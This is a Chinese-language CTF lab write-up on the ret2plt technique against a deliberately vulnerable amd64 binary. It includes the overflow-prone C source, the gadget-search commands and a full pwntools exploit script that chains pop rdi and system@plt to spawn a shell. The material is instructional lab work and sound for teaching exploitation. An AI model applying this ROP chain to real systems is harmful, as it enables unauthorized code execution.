描述 | 内容 |
---|---|
程序名称 | ret2plt |
程序平台 | linux |
程序来源 | ctf_wiki |
CPU架构 | amd64 |
libc版本 | 2.31 |
利用手法 | ret2plt |
系统版本 | Ubuntu 20.04 LTS |
下载地址 | https://wwnd.lanzoue.com/ig40I0qem4li |
1.使用checksec检测到程序开启了NX保护,堆、栈、BSS段不可执行
1.直接看实验中给出的源码ret2plt.c
#include
#include
#include
char name[16];
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
2.程序流程分析
0x10
个字节的输入存到全局变量name
里0x40
个字节的输入存到局部变量buf
里,但buf
只有16
字节,所以会产生栈溢出3.利用思路
'/bin/sh'
字符串写到全局变量name
中1.Rop chain设计图解
2.在栈中填入ROP链接和system的plt所需的参数,利用系统调用getshell。
1.使用ROPgadget加上egrep命令过滤出pop rdi ; ret
ret2plt ROPgadget --binary ret2plt |egrep "rdi"
2.查看全局变量name的地址
objdump -d -M intel ret2plt |grep name
3.查找ret地址
疑问:为什么要加这个ret指令?
system
时,里面会用到xmm
的寄存器,该寄存器为128位,就要求stack
为0x10
对齐stack
是0x08这样8字节对齐时,运行到movaps xmmword ptr [rsp + 0x50]
时就无法通过,并抛出异常,增加这条ret语句就是为了栈对齐。4.查找system@plt
地址
1.完整exp脚本
#!/usr/bin/python3
from pwn import *
io = process('./ret2plt')
elf = ELF('./ret2plt')
ret_addr = 0x4004fe
pop_rdi = 0x400733
sh_addr = elf.symbols['name']
system_plt = elf.plt['system']
io.sendlineafter('name?',b'/bin/sh\x00')
payload = flat([b'a'*0x18,p64(pop_rdi),p64(sh_addr),p64(ret_addr),p64(system_plt)])
io.sendlineafter(": ",payload)
io.interactive()
2.脚本运行时的堆栈图
使用ret2plt绕过libc安全区_海枫的博客-CSDN博客
战队官网:https://www.edisec.net/
战队CTF靶场:https://ctf.edisec.net/#/index
战队新社区:https://bbs.edisec.net